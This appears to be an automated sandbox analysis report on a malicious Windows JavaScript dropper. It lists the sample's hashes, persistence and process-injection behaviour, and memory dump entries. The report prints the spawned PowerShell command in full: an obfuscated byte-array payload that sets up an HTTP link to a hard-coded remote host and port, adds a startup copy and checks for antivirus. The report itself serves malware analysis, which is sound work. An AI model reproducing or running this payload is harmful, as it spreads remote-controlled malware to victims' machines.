Analysis
-
max time kernel
148s -
max time network
147s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
21-04-2021 03:21
Static task
static1
Behavioral task
behavioral1
Sample
ID829301992003.js
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
-
Target
ID829301992003.js
-
Size
29KB
-
MD5
d79e90f5a36512261c3108cbe6637acd
-
SHA1
6c09c49272c34917b18cf4888dda1e64fc51360d
-
SHA256
383ce97511c3f308482000d1d303cb4a6ec072d0ec3084c0522ef0e2351bccd9
-
SHA512
a0fb51064a1b08afcb0cb1e6293ff8d8255e5b5b86c73407d508054c65fd86a1f8ea0114d97c9b7627984e2b218c3b12af8c737eb2f5883f632a1d50d355580c
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1800 powershell.exe -
Drops startup file 2 IoCs
Processes:
wscript.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js wscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1800 powershell.exe 1800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1800 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 1048 wrote to memory of 1800 1048 wscript.exe powershell.exe PID 1048 wrote to memory of 1800 1048 wscript.exe powershell.exe PID 1048 wrote to memory of 1800 1048 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ID829301992003.js1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy rEmOtEsIgNeD -Command Invoke-Expression ([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,13,10,13,10,36,104,116,116,112,111,98,106,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,36,104,32,61,32,34,49,56,53,46,56,49,46,49,53,56,46,49,54,55,34,13,10,36,112,32,61,32,34,56,55,48,54,34,13,10,36,86,98,115,80,97,116,104,32,61,32,34,37,86,98,115,112,97,116,104,37,34,13,10,36,83,84,85,80,67,111,112,121,32,61,32,34,37,83,116,97,114,116,117,112,37,34,13,10,36,115,112,108,32,61,32,34,124,86,124,34,13,10,36,69,114,114,111,114,65,99,116,105,111,110,80,114,101,102,101,114,101,110,99,101,32,61,32,39,83,105,108,101,110,116,108,121,67,111,110,116,105,110,117,101,39,13,10,13,10,102,117,110,99,116,105,111,110,32,73,110,115,40,41,32,123,13,10,32,32,32,32,36,68,101,115,116,105,110,97,116,105,111,110,32,61,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,52,32,43,32,51,41,32,43,32,34,92,34,32,43,32,34,83,121,115,116,101,109,84,114,97,121,54,52,46,106,115,34,13,10,32,32,32,32,105,102,32,40,36,83,84,85,80,67,111,112,121,32,45,101,113,32,34,84,114,117,101,34,41,32,123,13,10,32,32,32,32,32,32,32,36,67,111,109,109,97,110,100,32,61,32,40,66,105,110,97,114,121,50,83,116,114,105,110,103,40,34,44,46,44,44,44,44,46,46,44,46,46,44,46,46,46,46,44,46,46,46,44,44,44,44,44,46,46,46,46,44,44,46,44,44,46,44,46,46,44,46,44,46,44,44,46,44,44,46,44,46,46,46,44,46,44,44,44,46,46,44,44,46,44,46,44,46,46,44,46,46,44,46,34,46,82,101,112,108,97,99,101,40,34,44,34,44,32,34,48,34,41,46,82,101,112,108,97,99,101,40,34,46,34,44,32,34,49,34,41,41,41,32,43,32,34,32,39,34,32,43,32,36,86,98,115,80,97,116,104,32,43,32,34,39,32,39,34,32,43,32,36,68,101,115,116,105,110,97,116,105,111,110,32,43,32,34,39,34,13,10,32,32,32,32,32,32,32,35,73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110,32,36,67,111,109,109,97,110,100,13,10,32,32,32,32,125,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,71,101,116,45,65,110,116,105,118,105,114,117,115,78,97,109,101,32,123,13,10,91,99,109,100,108,101,116,66,105,110,100,105,110,103,40,41,93,32,32,32,32,32,13,10,112,97,114,97,109,32,40,32,13,10,91,115,116,114,105,110,103,93,36,67,111,109,112,117,116,101,114,78,97,109,101,32,61,32,34,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,34,32,44,32,13,10,36,67,114,101,100,101,110,116,105,97,108,32,13,10,41,32,13,10,32,32,32,32,66,69,71,73,78,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,119,109,105,81,117,101,114,121,32,61,32,34,83,69,76,69,67,84,32,42,32,70,82,79,77,32,65,110,116,105,86,105,114,117,115,80,114,111,100,117,99,116,34,13,10,32,32,32,32,32,32,32,32,125,13,10,32,32,32,32,80,82,79,67,69,83,83,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,32,61,32,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,78,97,109,101,115,112,97,99,101,32,34,114,111,111,116,92,83,101,99,117,114,105,116,121,67,101,110,116,101,114,50,34,32,45,81,117,101,114,121,32,36,119,109,105,81,117,101,114,121,32,32,64,112,115,98,111,117,110,100,112,97,114,97,109,101,116,101,114,115,32,32,32,32,32,32,32,32,32,32,13,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,46,100,105,115,112,108,97,121,78,97,109,101,13,10,32,32,32,32,32,32,32,32,125,32,13,10,32,32,32,32,69,78,68,32,123,32,13,10,32,32,32,32,32,32,32,32,125,32,13,10,125,13,10,13,10,70,117,110,99,116,105,111,110,32,66,105,110,97,114,121,50,83,116,114,105,110,103,40,91,83,116,114,105,110,103,93,32,36,100,97,116,97,41,32,123,13,10,32,32,32,32,36,98,121,116,101,76,105,115,116,32,61,32,91,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,93,58,58,110,101,119,40,41,13,10,32,32,32,32,102,111,114,32,40,36,105,32,61,32,48,59,32,36,105,32,45,108,116,32,36,100,97,116,97,46,76,101,110,103,116,104,59,32,36,105,32,43,61,56,41,32,123,13,10,32,32,32,32,32,32,32,32,36,98,121,116,101,76,105,115,116,46,65,100,100,40,91,67,111,110,118,101,114,116,93,58,58,84,111,66,121,116,101,40,36,100,97,116,97,46,83,117,98,115,116,114,105,110,103,40,36,105,44,32,56,41,44,32,50,41,41,13,10,32,32,32,32,125,13,10,32,32,32,32,114,101,116,117,114,110,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,65,83,67,73,73,46,71,101,116,83,116,114,105,110,103,40,36,98,121,1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- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1800-59-0x0000000000000000-mapping.dmp
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memory/1800-60-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmpFilesize
8KB
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memory/1800-61-0x0000000002470000-0x0000000002471000-memory.dmpFilesize
4KB
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memory/1800-62-0x000000001AA80000-0x000000001AA81000-memory.dmpFilesize
4KB
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memory/1800-63-0x000000001AA00000-0x000000001AA02000-memory.dmpFilesize
8KB
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memory/1800-64-0x000000001B330000-0x000000001B331000-memory.dmpFilesize
4KB
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memory/1800-65-0x000000001AA04000-0x000000001AA06000-memory.dmpFilesize
8KB
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memory/1800-66-0x000000001B360000-0x000000001B361000-memory.dmpFilesize
4KB
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memory/1800-67-0x000000001C1D0000-0x000000001C1D1000-memory.dmpFilesize
4KB
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memory/1800-68-0x000000001B7A0000-0x000000001B7A1000-memory.dmpFilesize
4KB